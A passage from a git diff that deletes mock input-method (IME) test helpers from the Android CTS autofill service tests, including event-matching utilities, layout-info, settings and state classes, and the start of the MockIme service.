-     * @param marker Test marker set to {@link android.widget.EditText#setPrivateImeOptions(String)}
-     * @return true if event occurred.
-     */
-    public static Predicate<ImeEvent> editorMatcher(
-        @NonNull String eventName, @NonNull String marker) {
-        return event -> {
-            if (!TextUtils.equals(eventName, event.getEventName())) {
-                return false;
-            }
-            final EditorInfo editorInfo = event.getArguments().getParcelable("editorInfo");
-            return TextUtils.equals(marker, editorInfo.privateImeOptions);
-        };
-    }
-
-    /**
-    * Checks if {@code eventName} has occurred on the EditText(or TextView) of the current
-    * activity.
-    * @param eventName event name to check
-    * @param fieldId typically same as {@link android.view.View#getId()}.
-    * @return true if event occurred.
-    */
-    public static Predicate<ImeEvent> editorMatcher(@NonNull String eventName, int fieldId) {
-        return event -> {
-            if (!TextUtils.equals(eventName, event.getEventName())) {
-                return false;
-            }
-            final EditorInfo editorInfo = event.getArguments().getParcelable("editorInfo");
-            return fieldId == editorInfo.fieldId;
-        };
-    }
-
-    /**
-     * Wait until an event that matches the given command is consumed by the {@link MockIme}.
-     *
-     * <p>For convenience, this method automatically filter out enter events (events that return
-     * {@code true} from {@link ImeEvent#isEnterEvent()}.</p>
-     *
-     * <p>TODO: Consider renaming this to {@code expectCommandConsumed} or something like that.</p>
-     *
-     * @param stream {@link ImeEventStream} to be checked.
-     * @param command {@link ImeCommand} to be waited for.
-     * @param timeout timeout in millisecond
-     * @return {@link ImeEvent} found
-     * @throws TimeoutException when the no event is matched to the given condition within
-     *                          {@code timeout}
-     */
-    @NonNull
-    public static ImeEvent expectCommand(@NonNull ImeEventStream stream,
-            @NonNull ImeCommand command, long timeout) throws TimeoutException {
-        final Predicate<ImeEvent> predicate = event -> {
-            if (!TextUtils.equals("onHandleCommand", event.getEventName())) {
-                return false;
-            }
-            final ImeCommand eventCommand =
-                    ImeCommand.fromBundle(event.getArguments().getBundle("command"));
-            return eventCommand.getId() == command.getId();
-        };
-        return expectEvent(stream, predicate, EventFilterMode.CHECK_EXIT_EVENT_ONLY, timeout);
-    }
-
-    /**
-     * Assert that an event that matches the given {@code condition} will no be found in the stream
-     * within the given {@code timeout}.
-     *
-     * <p>When this method succeeds, the stream position will not change.</p>
-     *
-     * <p>For convenience, this method automatically filter out exit events (events that return
-     * {@code false} from {@link ImeEvent#isEnterEvent()}.</p>
-     *
-     * <p>TODO: Consider renaming this to {@code notExpectEventEnter} or something like that.</p>
-     *
-     * @param stream {@link ImeEventStream} to be checked.
-     * @param condition the event condition to be matched
-     * @param timeout timeout in millisecond
-     * @throws AssertionError if such an event is found within the given {@code timeout}
-     */
-    public static void notExpectEvent(@NonNull ImeEventStream stream,
-            @NonNull Predicate<ImeEvent> condition, long timeout) {
-        notExpectEvent(stream, condition, EventFilterMode.CHECK_ENTER_EVENT_ONLY, timeout);
-    }
-
-    /**
-     * Assert that an event that matches the given {@code condition} will no be found in the stream
-     * within the given {@code timeout}.
-     *
-     * <p>When this method succeeds, the stream position will not change.</p>
-     *
-     * @param stream {@link ImeEventStream} to be checked.
-     * @param condition the event condition to be matched
-     * @param filterMode controls how events are filtered out
-     * @param timeout timeout in millisecond
-     * @throws AssertionError if such an event is found within the given {@code timeout}
-     */
-    public static void notExpectEvent(@NonNull ImeEventStream stream,
-            @NonNull Predicate<ImeEvent> condition, EventFilterMode filterMode, long timeout) {
-        final Predicate<ImeEvent> combinedCondition;
-        switch (filterMode) {
-            case CHECK_ALL:
-                combinedCondition = condition;
-                break;
-            case CHECK_ENTER_EVENT_ONLY:
-                combinedCondition = event -> event.isEnterEvent() && condition.test(event);
-                break;
-            case CHECK_EXIT_EVENT_ONLY:
-                combinedCondition = event -> !event.isEnterEvent() && condition.test(event);
-                break;
-            default:
-                throw new IllegalArgumentException("Unknown filterMode " + filterMode);
-        }
-        try {
-            while (true) {
-                if (timeout < 0) {
-                    return;
-                }
-                if (stream.findFirst(combinedCondition).isPresent()) {
-                    throw new AssertionError("notExpectEvent failed: " + stream.dump());
-                }
-                Thread.sleep(TIME_SLICE);
-                timeout -= TIME_SLICE;
-            }
-        } catch (InterruptedException e) {
-            throw new RuntimeException("notExpectEvent failed: " + stream.dump(), e);
-        }
-    }
-
-    /**
-     * A specialized version of {@link #expectEvent(ImeEventStream, Predicate, long)} to wait for
-     * {@link android.view.inputmethod.InputMethod#bindInput(InputBinding)}.
-     *
-     * @param stream {@link ImeEventStream} to be checked.
-     * @param targetProcessPid PID to be matched to {@link InputBinding#getPid()}
-     * @param timeout timeout in millisecond
-     * @throws TimeoutException when "bindInput" is not called within {@code timeout} msec
-     */
-    public static void expectBindInput(@NonNull ImeEventStream stream, int targetProcessPid,
-            long timeout) throws TimeoutException {
-        expectEvent(stream, event -> {
-            if (!TextUtils.equals("bindInput", event.getEventName())) {
-                return false;
-            }
-            final InputBinding binding = event.getArguments().getParcelable("binding");
-            return binding.getPid() == targetProcessPid;
-        }, EventFilterMode.CHECK_EXIT_EVENT_ONLY,  timeout);
-    }
-
-    /**
-     * Waits until {@code MockIme} does not send {@code "onInputViewLayoutChanged"} event
-     * for a certain period of time ({@code stableThresholdTime} msec).
-     *
-     * <p>When this returns non-null {@link ImeLayoutInfo}, the stream position will be set to
-     * the next event of the returned layout event.  Otherwise this method does not change stream
-     * position.</p>
-     * @param stream {@link ImeEventStream} to be checked.
-     * @param stableThresholdTime threshold time to consider that {@link MockIme}'s layout is
-     *                            stable, in millisecond
-     * @return last {@link ImeLayoutInfo} if {@link MockIme} sent one or more
-     *         {@code "onInputViewLayoutChanged"} event.  Otherwise {@code null}
-     */
-    public static ImeLayoutInfo waitForInputViewLayoutStable(@NonNull ImeEventStream stream,
-            long stableThresholdTime) {
-        ImeLayoutInfo lastLayout = null;
-        final Predicate<ImeEvent> layoutFilter = event ->
-                !event.isEnterEvent() && event.getEventName().equals("onInputViewLayoutChanged");
-        try {
-            long deadline = SystemClock.elapsedRealtime() + stableThresholdTime;
-            while (true) {
-                if (deadline < SystemClock.elapsedRealtime()) {
-                    return lastLayout;
-                }
-                final Optional<ImeEvent> event = stream.seekToFirst(layoutFilter);
-                if (event.isPresent()) {
-                    // Remember the last event and extend the deadline again.
-                    lastLayout = ImeLayoutInfo.readFromBundle(event.get().getArguments());
-                    deadline = SystemClock.elapsedRealtime() + stableThresholdTime;
-                    stream.skip(1);
-                }
-                Thread.sleep(TIME_SLICE);
-            }
-        } catch (InterruptedException e) {
-            throw new RuntimeException("notExpectEvent failed: " + stream.dump(), e);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeLayoutInfo.java b/tests/autofillservice/src/com/android/cts/mockime/ImeLayoutInfo.java
deleted file mode 100644
index 77718ea..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/ImeLayoutInfo.java
+++ /dev/null
@@ -1,197 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.graphics.Point;
-import android.graphics.Rect;
-import android.os.Bundle;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import android.view.Display;
-import android.view.View;
-import android.view.WindowInsets;
-
-/**
- * A collection of layout-related information when
- * {@link View.OnLayoutChangeListener#onLayoutChange(View, int, int, int, int, int, int, int, int)}
- * is called back for the input view (the view returned from {@link MockIme#onCreateInputView()}).
- */
-public final class ImeLayoutInfo {
-
-    private static final String NEW_LAYOUT_KEY = "newLayout";
-    private static final String OLD_LAYOUT_KEY = "oldLayout";
-    private static final String VIEW_ORIGIN_ON_SCREEN_KEY = "viewOriginOnScreen";
-    private static final String DISPLAY_SIZE_KEY = "displaySize";
-    private static final String SYSTEM_WINDOW_INSET_KEY = "systemWindowInset";
-    private static final String STABLE_INSET_KEY = "stableInset";
-
-    @NonNull
-    private final Rect mNewLayout;
-    @NonNull
-    private final Rect mOldLayout;
-    @Nullable
-    private Point mViewOriginOnScreen;
-    @Nullable
-    private Point mDisplaySize;
-    @Nullable
-    private Rect mSystemWindowInset;
-    @Nullable
-    private Rect mStableInset;
-
-    /**
-     * Returns the bounding box of the {@link View} passed to
-     * {@link android.inputmethodservice.InputMethodService#onCreateInputView()} in screen
-     * coordinates.
-     *
-     * <p>Currently this method assumes that no {@link View} in the hierarchy uses
-     * transformations such as {@link View#setRotation(float)}.</p>
-     *
-     * @return Region in screen coordinates.
-     */
-    @Nullable
-    public Rect getInputViewBoundsInScreen() {
-        return new Rect(
-                mViewOriginOnScreen.x, mViewOriginOnScreen.y,
-                mViewOriginOnScreen.x + mNewLayout.width(),
-                mViewOriginOnScreen.y + mNewLayout.height());
-    }
-
-    /**
-     * Returns the screen area in screen coordinates that does not overlap with the system
-     * window inset, which represents the area of a full-screen window that is partially or
-     * fully obscured by the status bar, navigation bar, IME or other system windows.
-     *
-     * <p>May return {@code null} when this information is not yet ready.</p>
-     *
-     * @return Region in screen coordinates. {@code null} when it is not available
-     *
-     * @see WindowInsets#hasSystemWindowInsets()
-     * @see WindowInsets#getSystemWindowInsetBottom()
-     * @see WindowInsets#getSystemWindowInsetLeft()
-     * @see WindowInsets#getSystemWindowInsetRight()
-     * @see WindowInsets#getSystemWindowInsetTop()
-     */
-    @Nullable
-    public Rect getScreenRectWithoutSystemWindowInset() {
-        if (mDisplaySize == null) {
-            return null;
-        }
-        if (mSystemWindowInset == null) {
-            return new Rect(0, 0, mDisplaySize.x, mDisplaySize.y);
-        }
-        return new Rect(mSystemWindowInset.left, mSystemWindowInset.top,
-                mDisplaySize.x - mSystemWindowInset.right,
-                mDisplaySize.y - mSystemWindowInset.bottom);
-    }
-
-    /**
-     * Returns the screen area in screen coordinates that does not overlap with the stable
-     * inset, which represents the area of a full-screen window that <b>may</b> be partially or
-     * fully obscured by the system UI elements.
-     *
-     * <p>May return {@code null} when this information is not yet ready.</p>
-     *
-     * @return Region in screen coordinates. {@code null} when it is not available
-     *
-     * @see WindowInsets#hasStableInsets()
-     * @see WindowInsets#getStableInsetBottom()
-     * @see WindowInsets#getStableInsetLeft()
-     * @see WindowInsets#getStableInsetRight()
-     * @see WindowInsets#getStableInsetTop()
-     */
-    @Nullable
-    public Rect getScreenRectWithoutStableInset() {
-        if (mDisplaySize == null) {
-            return null;
-        }
-        if (mStableInset == null) {
-            return new Rect(0, 0, mDisplaySize.x, mDisplaySize.y);
-        }
-        return new Rect(mStableInset.left, mStableInset.top,
-                mDisplaySize.x - mStableInset.right,
-                mDisplaySize.y - mStableInset.bottom);
-    }
-
-    ImeLayoutInfo(@NonNull Rect newLayout, @NonNull Rect oldLayout,
-            @NonNull Point viewOriginOnScreen, @Nullable Point displaySize,
-            @Nullable Rect systemWindowInset, @Nullable Rect stableInset) {
-        mNewLayout = new Rect(newLayout);
-        mOldLayout = new Rect(oldLayout);
-        mViewOriginOnScreen = new Point(viewOriginOnScreen);
-        mDisplaySize = new Point(displaySize);
-        mSystemWindowInset = systemWindowInset;
-        mStableInset = stableInset;
-    }
-
-    void writeToBundle(@NonNull Bundle bundle) {
-        bundle.putParcelable(NEW_LAYOUT_KEY, mNewLayout);
-        bundle.putParcelable(OLD_LAYOUT_KEY, mOldLayout);
-        bundle.putParcelable(VIEW_ORIGIN_ON_SCREEN_KEY, mViewOriginOnScreen);
-        bundle.putParcelable(DISPLAY_SIZE_KEY, mDisplaySize);
-        bundle.putParcelable(SYSTEM_WINDOW_INSET_KEY, mSystemWindowInset);
-        bundle.putParcelable(STABLE_INSET_KEY, mStableInset);
-    }
-
-    static ImeLayoutInfo readFromBundle(@NonNull Bundle bundle) {
-        final Rect newLayout = bundle.getParcelable(NEW_LAYOUT_KEY);
-        final Rect oldLayout = bundle.getParcelable(OLD_LAYOUT_KEY);
-        final Point viewOrigin = bundle.getParcelable(VIEW_ORIGIN_ON_SCREEN_KEY);
-        final Point displaySize = bundle.getParcelable(DISPLAY_SIZE_KEY);
-        final Rect systemWindowInset = bundle.getParcelable(SYSTEM_WINDOW_INSET_KEY);
-        final Rect stableInset = bundle.getParcelable(STABLE_INSET_KEY);
-
-        return new ImeLayoutInfo(newLayout, oldLayout, viewOrigin, displaySize, systemWindowInset,
-                stableInset);
-    }
-
-    static ImeLayoutInfo fromLayoutListenerCallback(View v, int left, int top, int right,
-            int bottom, int oldLeft, int oldTop, int oldRight, int oldBottom) {
-        final Rect newLayout = new Rect(left, top, right, bottom);
-        final Rect oldLayout = new Rect(oldLeft, oldTop, oldRight, oldBottom);
-        final int[] viewOriginArray = new int[2];
-        v.getLocationOnScreen(viewOriginArray);
-        final Point viewOrigin = new Point(viewOriginArray[0], viewOriginArray[1]);
-        final Display display = v.getDisplay();
-        final Point displaySize;
-        if (display != null) {
-            displaySize = new Point();
-            display.getRealSize(displaySize);
-        } else {
-            displaySize = null;
-        }
-        final WindowInsets windowInsets = v.getRootWindowInsets();
-        final Rect systemWindowInset;
-        if (windowInsets != null && windowInsets.hasSystemWindowInsets()) {
-            systemWindowInset = new Rect(
-                    windowInsets.getSystemWindowInsetLeft(), windowInsets.getSystemWindowInsetTop(),
-                    windowInsets.getSystemWindowInsetRight(),
-                    windowInsets.getSystemWindowInsetBottom());
-        } else {
-            systemWindowInset = null;
-        }
-        final Rect stableInset;
-        if (windowInsets != null && windowInsets.hasStableInsets()) {
-            stableInset = new Rect(
-                    windowInsets.getStableInsetLeft(), windowInsets.getStableInsetTop(),
-                    windowInsets.getStableInsetRight(), windowInsets.getStableInsetBottom());
-        } else {
-            stableInset = null;
-        }
-        return new ImeLayoutInfo(newLayout, oldLayout, viewOrigin, displaySize, systemWindowInset,
-                stableInset);
-    }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeSettings.java b/tests/autofillservice/src/com/android/cts/mockime/ImeSettings.java
deleted file mode 100644
index 21c25be..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/ImeSettings.java
+++ /dev/null
@@ -1,217 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.os.Bundle;
-import android.os.PersistableBundle;
-import androidx.annotation.ColorInt;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-/**
- * An immutable data store to control the behavior of {@link MockIme}.
- */
-public class ImeSettings {
-
-    @NonNull
-    private final String mClientPackageName;
-
-    @NonNull
-    private final String mEventCallbackActionName;
-
-    private static final String EVENT_CALLBACK_INTENT_ACTION_KEY = "eventCallbackActionName";
-    private static final String DATA_KEY = "data";
-
-    private static final String BACKGROUND_COLOR_KEY = "BackgroundColor";
-    private static final String NAVIGATION_BAR_COLOR_KEY = "NavigationBarColor";
-    private static final String INPUT_VIEW_HEIGHT_WITHOUT_SYSTEM_WINDOW_INSET =
-            "InputViewHeightWithoutSystemWindowInset";
-    private static final String WINDOW_FLAGS = "WindowFlags";
-    private static final String WINDOW_FLAGS_MASK = "WindowFlagsMask";
-    private static final String FULLSCREEN_MODE_ALLOWED = "FullscreenModeAllowed";
-    private static final String INPUT_VIEW_SYSTEM_UI_VISIBILITY = "InputViewSystemUiVisibility";
-    private static final String HARD_KEYBOARD_CONFIGURATION_BEHAVIOR_ALLOWED =
-            "HardKeyboardConfigurationBehaviorAllowed";
-
-    @NonNull
-    private final PersistableBundle mBundle;
-
-    ImeSettings(@NonNull String clientPackageName, @NonNull Bundle bundle) {
-        mClientPackageName = clientPackageName;
-        mEventCallbackActionName = bundle.getString(EVENT_CALLBACK_INTENT_ACTION_KEY);
-        mBundle = bundle.getParcelable(DATA_KEY);
-    }
-
-    @Nullable
-    String getEventCallbackActionName() {
-        return mEventCallbackActionName;
-    }
-
-    @NonNull
-    String getClientPackageName() {
-        return mClientPackageName;
-    }
-
-    public boolean fullscreenModeAllowed(boolean defaultValue) {
-        return mBundle.getBoolean(FULLSCREEN_MODE_ALLOWED, defaultValue);
-    }
-
-    @ColorInt
-    public int getBackgroundColor(@ColorInt int defaultColor) {
-        return mBundle.getInt(BACKGROUND_COLOR_KEY, defaultColor);
-    }
-
-    public boolean hasNavigationBarColor() {
-        return mBundle.keySet().contains(NAVIGATION_BAR_COLOR_KEY);
-    }
-
-    @ColorInt
-    public int getNavigationBarColor() {
-        return mBundle.getInt(NAVIGATION_BAR_COLOR_KEY);
-    }
-
-    public int getInputViewHeightWithoutSystemWindowInset(int defaultHeight) {
-        return mBundle.getInt(INPUT_VIEW_HEIGHT_WITHOUT_SYSTEM_WINDOW_INSET, defaultHeight);
-    }
-
-    public int getWindowFlags(int defaultFlags) {
-        return mBundle.getInt(WINDOW_FLAGS, defaultFlags);
-    }
-
-    public int getWindowFlagsMask(int defaultFlags) {
-        return mBundle.getInt(WINDOW_FLAGS_MASK, defaultFlags);
-    }
-
-    public int getInputViewSystemUiVisibility(int defaultFlags) {
-        return mBundle.getInt(INPUT_VIEW_SYSTEM_UI_VISIBILITY, defaultFlags);
-    }
-
-    public boolean getHardKeyboardConfigurationBehaviorAllowed(boolean defaultValue) {
-        return mBundle.getBoolean(HARD_KEYBOARD_CONFIGURATION_BEHAVIOR_ALLOWED, defaultValue);
-    }
-
-    static Bundle serializeToBundle(@NonNull String eventCallbackActionName,
-            @Nullable Builder builder) {
-        final Bundle result = new Bundle();
-        result.putString(EVENT_CALLBACK_INTENT_ACTION_KEY, eventCallbackActionName);
-        result.putParcelable(DATA_KEY, builder != null ? builder.mBundle : PersistableBundle.EMPTY);
-        return result;
-    }
-
-    /**
-     * The builder class for {@link ImeSettings}.
-     */
-    public static final class Builder {
-        private final PersistableBundle mBundle = new PersistableBundle();
-
-        /**
-         * Controls whether fullscreen mode is allowed or not.
-         *
-         * <p>By default, fullscreen mode is not allowed in {@link MockIme}.</p>
-         *
-         * @param allowed {@code true} if fullscreen mode is allowed
-         * @see MockIme#onEvaluateFullscreenMode()
-         */
-        public Builder setFullscreenModeAllowed(boolean allowed) {
-            mBundle.putBoolean(FULLSCREEN_MODE_ALLOWED, allowed);
-            return this;
-        }
-
-        /**
-         * Sets the background color of the {@link MockIme}.
-         * @param color background color to be used
-         */
-        public Builder setBackgroundColor(@ColorInt int color) {
-            mBundle.putInt(BACKGROUND_COLOR_KEY, color);
-            return this;
-        }
-
-        /**
-         * Sets the color to be passed to {@link android.view.Window#setNavigationBarColor(int)}.
-         *
-         * @param color color to be passed to {@link android.view.Window#setNavigationBarColor(int)}
-         * @see android.view.View
-         */
-        public Builder setNavigationBarColor(@ColorInt int color) {
-            mBundle.putInt(NAVIGATION_BAR_COLOR_KEY, color);
-            return this;
-        }
-
-        /**
-         * Sets the input view height measured from the bottom system window inset.
-         * @param height height of the soft input view. This does not include the system window
-         *               inset such as navigation bar
-         */
-        public Builder setInputViewHeightWithoutSystemWindowInset(int height) {
-            mBundle.putInt(INPUT_VIEW_HEIGHT_WITHOUT_SYSTEM_WINDOW_INSET, height);
-            return this;
-        }
-
-        /**
-         * Sets window flags to be specified to {@link android.view.Window#setFlags(int, int)} of
-         * the main {@link MockIme} window.
-         *
-         * <p>When {@link android.view.WindowManager.LayoutParams#FLAG_LAYOUT_IN_OVERSCAN} is set,
-         * {@link MockIme} tries to render the navigation bar by itself.</p>
-         *
-         * @param flags flags to be specified
-         * @param flagsMask mask bits that specify what bits need to be cleared before setting
-         *                  {@code flags}
-         * @see android.view.WindowManager
-         */
-        public Builder setWindowFlags(int flags, int flagsMask) {
-            mBundle.putInt(WINDOW_FLAGS, flags);
-            mBundle.putInt(WINDOW_FLAGS_MASK, flagsMask);
-            return this;
-        }
-
-        /**
-         * Sets flags to be specified to {@link android.view.View#setSystemUiVisibility(int)} of
-         * the main soft input view (the returned view from {@link MockIme#onCreateInputView()}).
-         *
-         * @param visibilityFlags flags to be specified
-         * @see android.view.View
-         */
-        public Builder setInputViewSystemUiVisibility(int visibilityFlags) {
-            mBundle.putInt(INPUT_VIEW_SYSTEM_UI_VISIBILITY, visibilityFlags);
-            return this;
-        }
-
-        /**
-         * Controls whether {@link MockIme} is allowed to change the behavior based on
-         * {@link android.content.res.Configuration#keyboard} and
-         * {@link android.content.res.Configuration#hardKeyboardHidden}.
-         *
-         * <p>Methods in {@link android.inputmethodservice.InputMethodService} such as
-         * {@link android.inputmethodservice.InputMethodService#onEvaluateInputViewShown()} and
-         * {@link android.inputmethodservice.InputMethodService#onShowInputRequested(int, boolean)}
-         * change their behaviors when a hardware keyboard is attached.  This is confusing when
-         * writing tests so by default {@link MockIme} tries to cancel those behaviors.  This
-         * settings re-enables such a behavior.</p>
-         *
-         * @param allowed {@code true} when {@link MockIme} is allowed to change the behavior when
-         *                a hardware keyboard is attached
-         *
-         * @see android.inputmethodservice.InputMethodService#onEvaluateInputViewShown()
-         * @see android.inputmethodservice.InputMethodService#onShowInputRequested(int, boolean)
-         */
-        public Builder setHardKeyboardConfigurationBehaviorAllowed(boolean allowed) {
-            mBundle.putBoolean(HARD_KEYBOARD_CONFIGURATION_BEHAVIOR_ALLOWED, allowed);
-            return this;
-        }
-    }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeState.java b/tests/autofillservice/src/com/android/cts/mockime/ImeState.java
deleted file mode 100644
index 0135b30..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/ImeState.java
+++ /dev/null
@@ -1,68 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.os.Bundle;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-/**
- * An immutable object that stores several runtime state of {@link MockIme}.
- */
-public final class ImeState {
-    private final boolean mHasInputBinding;
-    private final boolean mHasDummyInputConnection;
-
-    /**
-     * @return {@code true} if {@link MockIme#getCurrentInputBinding()} returned non-null
-     *         {@link android.view.inputmethod.InputBinding} when this snapshot was taken.
-     */
-    public boolean hasInputBinding() {
-        return mHasInputBinding;
-    }
-
-    /**
-     * @return {@code true} if {@link MockIme#getCurrentInputConnection()} returned non-dummy
-     *         {@link android.view.inputmethod.InputConnection} when this snapshot was taken.
-     */
-    public boolean hasDummyInputConnection() {
-        return mHasDummyInputConnection;
-    }
-
-    ImeState(boolean hasInputBinding, boolean hasDummyInputConnection) {
-        mHasInputBinding = hasInputBinding;
-        mHasDummyInputConnection = hasDummyInputConnection;
-    }
-
-    @NonNull
-    Bundle toBundle() {
-        final Bundle bundle = new Bundle();
-        bundle.putBoolean("mHasInputBinding", mHasInputBinding);
-        bundle.putBoolean("mHasDummyInputConnection", mHasDummyInputConnection);
-        return bundle;
-    }
-
-    @Nullable
-    static ImeState fromBundle(@Nullable Bundle bundle) {
-        if (bundle == null) {
-            return null;
-        }
-        final boolean hasInputBinding = bundle.getBoolean("mHasInputBinding");
-        final boolean hasDummyInputConnection = bundle.getBoolean("mHasDummyInputConnection");
-        return new ImeState(hasInputBinding, hasDummyInputConnection);
-    }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/MockIme.java b/tests/autofillservice/src/com/android/cts/mockime/MockIme.java
deleted file mode 100644
index 52a1182..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/MockIme.java
+++ /dev/null
@@ -1,686 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import static android.view.WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS;
-
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.res.Configuration;
-import android.inputmethodservice.InputMethodService;
-import android.os.Build;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.IBinder;
-import android.os.Looper;
-import android.os.Process;
-import android.os.ResultReceiver;
-import android.os.SystemClock;
-import androidx.annotation.AnyThread;
-import androidx.annotation.CallSuper;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import androidx.annotation.WorkerThread;
-import android.text.TextUtils;
-import android.util.Log;
-import android.util.TypedValue;
-import android.view.Gravity;
-import android.view.KeyEvent;
-import android.view.View;
-import android.view.Window;
-import android.view.WindowInsets;
-import android.view.inputmethod.EditorInfo;
-import android.view.inputmethod.InputBinding;
-import android.view.inputmethod.InputMethod;
-import android.widget.LinearLayout;
-import android.widget.RelativeLayout;
-import android.widget.TextView;
-
-import java.io.IOException;
-import java.io.InputStream;
-
-import java.util.concurrent.atomic.AtomicReference;
-import java.util.function.BooleanSupplier;
-import java.util.function.Consumer;
-import java.util.function.Supplier;
-
-/**
- * Mock IME for end-to-end tests.
- */
-public final class MockIme extends InputMethodService {
-
-    private static final String TAG = "MockIme";
-
-    private static final String PACKAGE_NAME = "android.autofillservice.cts";
-
-    static ComponentName getComponentName() {
-        return new ComponentName(PACKAGE_NAME, MockIme.class.getName());
-    }
-
-    static String getImeId() {
-        return getComponentName().flattenToShortString();
-    }
-
-    static String getCommandActionName(@NonNull String eventActionName) {
-        return eventActionName + ".command";
-    }
-
-    private final HandlerThread mHandlerThread = new HandlerThread("CommandReceiver");
-
-    private final Handler mMainHandler = new Handler();
-
-    private static final class CommandReceiver extends BroadcastReceiver {
-        @NonNull
-        private final String mActionName;
-        @NonNull
-        private final Consumer<ImeCommand> mOnReceiveCommand;
-
-        CommandReceiver(@NonNull String actionName,
-                @NonNull Consumer<ImeCommand> onReceiveCommand) {
-            mActionName = actionName;
-            mOnReceiveCommand = onReceiveCommand;
-        }
-
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            if (TextUtils.equals(mActionName, intent.getAction())) {
-                mOnReceiveCommand.accept(ImeCommand.fromBundle(intent.getExtras()));
-            }
-        }
-    }
-
-    @WorkerThread
-    private void onReceiveCommand(@NonNull ImeCommand command) {
-        getTracer().onReceiveCommand(command, () -> {
-            if (command.shouldDispatchToMainThread()) {
-                mMainHandler.post(() -> onHandleCommand(command));
-            } else {
-                onHandleCommand(command);
-            }
-        });
-    }
-
-    @AnyThread
-    private void onHandleCommand(@NonNull ImeCommand command) {
-        getTracer().onHandleCommand(command, () -> {
-            if (command.shouldDispatchToMainThread()) {
-                if (Looper.myLooper() != Looper.getMainLooper()) {
-                    throw new IllegalStateException("command " + command
-                            + " should be handled on the main thread");
-                }
-                switch (command.getName()) {
-                    case "commitText": {
-                        final CharSequence text = command.getExtras().getString("text");
-                        final int newCursorPosition =
-                                command.getExtras().getInt("newCursorPosition");
-                        getCurrentInputConnection().commitText(text, newCursorPosition);
-                        break;
-                    }
-                    case "setBackDisposition": {
-                        final int backDisposition =
-                                command.getExtras().getInt("backDisposition");
-                        setBackDisposition(backDisposition);
-                        break;
-                    }
-                    case "requestHideSelf": {
-                        final int flags = command.getExtras().getInt("flags");
-                        requestHideSelf(flags);
-                        break;
-                    }
-                    case "requestShowSelf": {
-                        final int flags = command.getExtras().getInt("flags");
-                        requestShowSelf(flags);
-                        break;
-                    }
-                }
-            }
-        });
-    }
-
-    @Nullable
-    private CommandReceiver mCommandReceiver;
-
-    @Nullable
-    private ImeSettings mSettings;
-
-    private final AtomicReference<String> mImeEventActionName = new AtomicReference<>();
-
-    @Nullable
-    String getImeEventActionName() {
-        return mImeEventActionName.get();
-    }
-
-    private final AtomicReference<String> mClientPackageName = new AtomicReference<>();
-
-    @Nullable
-    String getClientPackageName() {
-        return mClientPackageName.get();
-    }
-
-    private class MockInputMethodImpl extends InputMethodImpl {
-        @Override
-        public void showSoftInput(int flags, ResultReceiver resultReceiver) {
-            getTracer().showSoftInput(flags, resultReceiver,
-                    () -> super.showSoftInput(flags, resultReceiver));
-        }
-
-        @Override
-        public void hideSoftInput(int flags, ResultReceiver resultReceiver) {
-            getTracer().hideSoftInput(flags, resultReceiver,
-                    () -> super.hideSoftInput(flags, resultReceiver));
-        }
-
-        @Override
-        public void attachToken(IBinder token) {
-            getTracer().attachToken(token, () -> super.attachToken(token));
-        }
-
-        @Override
-        public void bindInput(InputBinding binding) {
-            getTracer().bindInput(binding, () -> super.bindInput(binding));
-        }
-
-        @Override
-        public void unbindInput() {
-            getTracer().unbindInput(() -> super.unbindInput());
-        }
-    }
-
-    @Override
-    public void onCreate() {
-        // Initialize minimum settings to send events in Tracer#onCreate().
-        mSettings = SettingsProvider.getSettings();
-        if (mSettings == null) {
